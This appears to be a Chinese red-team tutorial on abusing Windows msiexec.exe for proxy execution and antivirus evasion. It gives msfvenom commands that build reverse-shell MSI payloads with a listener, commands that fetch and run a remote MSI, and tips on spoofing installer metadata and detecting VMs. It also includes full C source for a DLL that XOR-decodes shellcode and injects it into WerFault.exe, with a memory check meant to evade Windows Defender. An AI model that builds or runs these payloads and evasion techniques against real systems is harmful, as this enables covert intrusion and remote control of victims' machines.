0x01 简介

Msiexec是WIndows上从命令行执行Windows Installer上安装、修改和执行操作的方法。Msiexec存在一个Windows Installer服务以便在需要的时候进行调用，服务中将Msiexec描述为添加、修改和删除作为 Windows Installer 程序包(.msi、.msp)提供的应用程序。二进制文件为msiexec.exe，默认存在于C:\Windows\System32\目录下且默认存在于系统环境变量中，可通过命令行调用。
msiexec.exe属于系统文件，并且可用于加载恶意msi文件获得代码执行能力，所以经常也被用来进行基于系统文件白名单的代理执行。

0x02 MSI文件构建和执行

在利用msiexec进行代理执行时，需要先构建MSI文件，在没有其他需求的情况下，可以使用metasploit快速生成msi安装包：

#生成msi类型的载荷
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi -o rev_x64_8888.msi
#生成msi-nouac类型的载荷
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi-nouac -o rev_x64_8888msi-nouac.msi
#开启监听
handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888

生成后安装方式除了在可视化界面安装，还可以通过msiexec命令行执行本地或网络上的msi安装包获得代码执行：

msiexec /q /i MsiexecSetup.msi
msiexec /q /i http://192.168.11.1/MsiexecSetup.msi

这里是使用msiexec命令加载msi安装包执行的简单用例，这在一些存在命令执行漏洞的位置可以发挥一定的效果。

0x2-1 Visual Studio的MSI扩展

上文介绍了使用Metasploit简单生成msi安装包的方式，实际利用中需要定制化载荷执行，可以通过Visual Studio扩展Microsoft Visual Studio Installer Projects来生成MSI安装包(或InstallShield、Advanced Installer等工具)。通过该扩展可以自定义设置要执行的二进制或脚本文件，这些二进制和脚本文件都可以进行定制开发嵌入到MSI安装包中，扩展安装方式比较简单，操作如下：

在扩展里联机搜索: Microsoft Visual Studio Installer Projects

安装完成后重启VS,新建项目时搜索 Setup Project 选择项目模板：

在MSI安装包项目中，可以设置安装程序在目标主机上执行的文件、注册表、快捷方式等操作：

其中主要就是利用文件系统和自定义操作选项，可以设置将在目标主机上释放的文件和执行的命令：

在文件系统选项中选择要添加的文件：

自定义选项中可以设置在安装、修复、回滚、卸载阶段执行的命令：

0x2-1-1 MSI安装包属性设置

在扩展中可以对安装包的属性进行设置，部分属性会在msi文件的详细信息中体现，所以可以对属性进行一些伪造欺骗：

伪造一个Apple的安装包:

一些开发者属性信息会自动用于应用目录的设置:

在属性中有一个 installAllUsers 的属性，如果选择True时，在管理员权限下msiexec会使用SYSTEM权限执行安装:

在属性中还可以设置图标(一个免费的图标获取网站：https://icons8.com/app/windows )：

图标设置后会在控制面板程序中看到：

其他msi安装包中的图标可以通过 Orca 工具(SDK中的安装包名为Orca-x86_en-us.msi)中的Tables-Export Tables功能提取文件：

更多的属性可参考微软文档:property-reference ,msi安装包的属性在下文设置执行条件时还会使用。

0x2-1-2 MSI安装包启动条件设置

在项目view菜单中可以设置启动条件，用于检查当前执行环境是否可以继续安装:

这个配置中主要使用的是Launch Conditions来添加执行条件，根据上文参考链接中的属性，可以设置硬件属性中的内存、分辨率来检测虚拟机:

执行效果：

对于一些其他商业软件可进行的复杂条件设置，可以通过Orca查看然后学走：

一些常见的条件设置可以参考InstallShield:

并且在安装时可以使用msiexec /q /i MsiexecSetup.msi /log 123.log方式输出日志文件，通过对比日志文件进行更详细的条件设置：

并且可以注意到内存并不是标准的32GB(32768MB)数值，而是会略微较小(32588MB)，这是一个需要注意的点。如果在测试过程中安装失败，也可以在日志中看到错误代码。错误代码的详细信息可以在官方文档中查询到:windows-installer-error-messages

0x2-2 MSI中执行载荷

MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。常用操作是通过文件系统管理添加要执行的文件，然后在自定义操作中设置在几个阶段要执行的文件。文件释放位置可以使用系统文件夹属性变量:

在文件系统中可以新增自定义文件夹来使用不同的文件夹属性值，释放文件到Temp目录一定程度上可以规避安全软件:

添加完成后，在自定义操作中设置在安装阶段执行文件，选择之前添加的文件位置:

设置文件的执行动作时，可以在属性栏中设置EXE文件启动参数、DLL文件入口函数:

DLL文件的导出函数需要使用下列方式声明:

extern "C" __declspec(dllexport) UINT __stdcall Install(MSIHANDLE hInstall)
{
    RunYourSteps();
    return ERROR_SUCCESS;
}

另外需要注意的是可执行文件和msi安装包的PlatForm需要正确设置，在msi项目属性中(dll是64位的，msi对应属性也设置为64位)：

自定义操作中针对文件设置：

通过在msi安装程序中利用dll文件执行（xor还原stage payload后创建进程注入）绕过WinDefender静态扫描和动态查杀：

0x02 MSIEXEC加载DLL执行

msiexec程序也可以加载DLL执行，前提是DLL文件在磁盘上存在并且是64位的。通过命令行调用DLL中的DllRegisterServer或DllUnRegisterServer导出函数:

命令行执行时需要注意文件路径:

# DllUnRegisterServer
msiexec /z C:\windows\tmp\run.dll
# DllRegisterServer
msiexec /y ..\..\..\windows\tmp\run.dll
# 执行run.dll文件 DllRegisterServer
msiexec /y ..\..\..\windows\tmp\run
# 执行 .dll 文件 DllRegisterServer
msiexec /y .\

测试时发现在测试环境中/z参数不能触发DllUnRegisterServer的执行，这可以直接在dllmain函数中进行想要的操作:

这就可以自定义DLL后通过msiexec加载了。一般WIndows会自带WinDefender安全软件，我们在Dllmain中简单判断下当前的物理内存大小，可以绕过它的模拟执行检测，简单Demo如下:

#include "pch.h"
#include <iostream>
#include <tchar.h>
#include <stdio.h>
#include <windows.h>
#include <msi.h>
#include <msiquery.h>
#include <sddl.h>
#pragma comment(lib, "Msi.lib")
HMODULE g_hModule;
BOOL Inject_Shellcode();
BOOL SpawnProcess(char* runcmdline);

BOOL PhysicalMemory() {
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    GlobalMemoryStatusEx(&statex);
    DWORD PhysicalMem = 0;
    BOOL rt = FALSE;
    PhysicalMem = statex.ullTotalPhys / 1024 / 1024;
    if (PhysicalMem > 2022) {
        rt = TRUE;
    }
    return rt;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    g_hModule = hModule;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        HANDLE Mutexlock = CreateMutexA(NULL, FALSE, "CreateMutexA-yanghaoi");
        if (GetLastError() == ERROR_ALREADY_EXISTS)
        {
            if (Mutexlock != NULL) CloseHandle(Mutexlock);
            Mutexlock = NULL;
        }
        else {
            if (PhysicalMemory()) {
                // MessageBox(NULL, "Hello Dllmain!", "MessageBox", MB_OK);
                Inject_Shellcode();
            }
            return ERROR_SUCCESS;
        }
        return 0;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

BOOL Inject_Shellcode()
{
    unsigned char hexData[927] = {
        0xAE, 0x1A, 0x00 , // shellcode
    };

    DWORD size = sizeof(hexData);
    unsigned char ar[sizeof(hexData)];
    for (int i = 0; i <= size - 1; i++)
    {
        ar[i] = hexData[i] ^ 0x52;
    }
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID lpMalwareBaseAddr;
    LPVOID lpnewVictimBaseAddr;
    HANDLE hThread;
    BOOL bRet = FALSE;
    DWORD dwOldProtect;
    lpMalwareBaseAddr = ar;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    char* Process = (char*)"C:\\Windows\\System32\\WerFault.exe";
    if (CreateProcessA(NULL, Process, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0) { return bRet; }
    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpnewVictimBaseAddr == NULL) {
        printf("[-] VirtualAllocEx error:%d\n", GetLastError());
        if (!TerminateProcess(pi.hProcess, 0)) {
            printf("[-] TerminateProcess error:%d\n", GetLastError());
        }
        return bRet;
    }
    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, size, NULL);
    hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
    WaitForSingleObject(pi.hThread, 2000);
    if (NULL != pi.hProcess)
    {
        CloseHandle(pi.hProcess);
    }

    if (NULL != pi.hThread)
    {
        CloseHandle(pi.hThread);
    }
    return bRet;
}

BOOL SpawnProcess(char* runcmdline) {
    printf("[*] runcmdline:%s\n", runcmdline);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.wShowWindow = SW_HIDE;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    if (!CreateProcessA(NULL, runcmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { return FALSE; }
    printf("[+] ProcessId：%d \n", pi.dwProcessId);
    printf("[+] ThreadId：%d \n", pi.dwThreadId);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

编译为x64的dll后，使用msiexec /z .\Msiexec在开启WinDefender的环境下执行:

0x04 总结

文章对msi安装包的制作、载荷执行、命令执行方式进行了整理和实验，并对一些容易出现问题的地方进行了说明或提出解决方案。文章实现了在msi安装包中执行自定义程序，实现了msiexec命令执行dll和安全软件检测绕过。可以进行社工msi安装包制作、白名单命令代理执行等。

0x05 参考链接

Signed Binary Proxy Execution
msiexec-commands
msi-property
msiexec-hacker